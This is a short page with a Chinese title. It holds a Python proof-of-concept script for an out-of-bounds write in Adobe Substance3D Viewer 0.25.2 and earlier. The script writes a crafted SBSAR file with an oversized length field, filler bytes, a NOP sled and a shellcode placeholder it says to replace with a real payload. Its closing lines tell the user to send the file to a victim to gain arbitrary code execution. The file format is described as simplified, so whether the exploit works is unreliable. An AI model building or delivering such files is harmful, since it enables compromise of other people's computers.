CVE-2025-54280：Adobe Substance3D Viewer越界写入漏洞

# CVE-2025-54280 PoC - Substance3D Viewer Out-of-Bounds Write # This PoC demonstrates the concept of crafting a malicious SBSAR file # that triggers an out-of-bounds write vulnerability in Substance3D Viewer <= 0.25.2 import struct import sys def create_malicious_sbsar(output_path): """ Create a malicious SBSAR file that triggers OOB write vulnerability. The vulnerability exists in the file parsing logic where input data length is not properly validated against buffer boundaries. """ # SBSAR file header (simplified) header = b'SBSAR' # Magic bytes header += struct.pack('<I', 0x01) # Version header += struct.pack('<I', 0x0C) # Header size # Malicious payload section - oversized data to trigger OOB write # The parser allocates a fixed-size buffer but reads variable-length data payload_size = 0xFFFF # Intentionally large to overflow buffer malicious_data = b'\x41' * payload_size # Crafted data that will overwrite return address or function pointer # NOP sled + shellcode placeholder nop_sled = b'\x90' * 256 # Placeholder for shellcode (replace with actual payload) shellcode_placeholder = b'\xCC' * 100 # INT3 breakpoints for debugging # Construct the exploit payload exploit = header exploit += struct.pack('<I', payload_size) # Declared payload size exploit += malicious_data[:64] # Initial data to pass basic validation exploit += nop_sled exploit += shellcode_placeholder exploit += malicious_data[64:] # Remaining overflow data with open(output_path, 'wb') as f: f.write(exploit) print(f"[+] Malicious SBSAR file created: {output_path}") print(f"[!] File size: {len(exploit)} bytes") print(f"[!] Payload size: {payload_size} bytes") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "exploit.sbsar" create_malicious_sbsar(output) print("[*] Send this file to a victim using Substance3D Viewer <= 0.25.2") print("[*] When the victim opens this file, arbitrary code execution occurs")